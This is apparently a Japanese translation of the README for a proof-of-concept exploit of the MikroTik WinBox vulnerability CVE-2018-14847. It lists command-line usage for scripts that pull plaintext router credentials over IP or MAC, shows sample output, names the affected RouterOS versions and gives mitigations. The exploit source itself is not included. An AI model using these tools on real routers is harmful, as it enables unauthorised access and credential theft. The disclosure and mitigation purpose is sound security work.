WinboxExploit

これは、重大なWinBox脆弱性（CVE-2018-14847）の概念実証です。この脆弱性により、平文パスワードの任意のファイル読み取りが可能になります。

この脆弱性はずっと前に修正されているため、このプロジェクトは終了しており、今後サポートや更新は行われません。代わりにフォークして自分で更新してください。

ブログ記事

https://n0p.me/winbox-bug-dissection/

必要条件

• Python 3+

このスクリプトはPython 2.x以下では動作しません。

使い方

このスクリプトは、コマンドラインでシンプルな引数を使用するだけで簡単に使えます。

WinBox (TCP/IP)

脆弱性を悪用してパスワードを読み取ります。

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

例：

$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord

MAC server WinBox (Layer 2)

デバイスにIPアドレスが割り当てられていなくてもファイルを抽出できます。

ローカルに接続されたMikrotikデバイスの簡単な検出確認を行います。

python3 MACServerDiscover.py

例：

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

脆弱性を悪用してパスワードを読み取ります。

python3 MACServerExploit.py <MAC-ADDRESS>

例：

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: Th3P4ssWord

脆弱性のあるバージョン

2015-05-28から2018-04-20までのすべてのRouterOSバージョンがこのエクスプロイトの影響を受けます。

Mikrotikデバイスが実行するRouterOSバージョン：

• Longterm: 6.30.1 - 6.40.7
• Stable: 6.29 - 6.42
• Beta: 6.29rc1 - 6.43rc3

詳細情報：https://blog.mikrotik.com/security/winbox-vulnerability.html

緩和策

• ルーターを修正を含むRouterOSバージョンにアップグレードする。
• ルーターでWinBoxサービスを無効にする。
• 以下の設定でWinBoxサービスのアクセスを特定のIPアドレスに制限できます：

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

• フィルタールール（ACL）を使用してWinBoxサービスへの外部アクセスを拒否することもできます：

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

• mac-winboxサービスへのアクセス制限は、許可するインターフェースを指定することで行えます：

/tool mac-server mac-winbox

著作権

• イランのCERTCC (https://certcc.ir) の後援。無断転載を禁じます。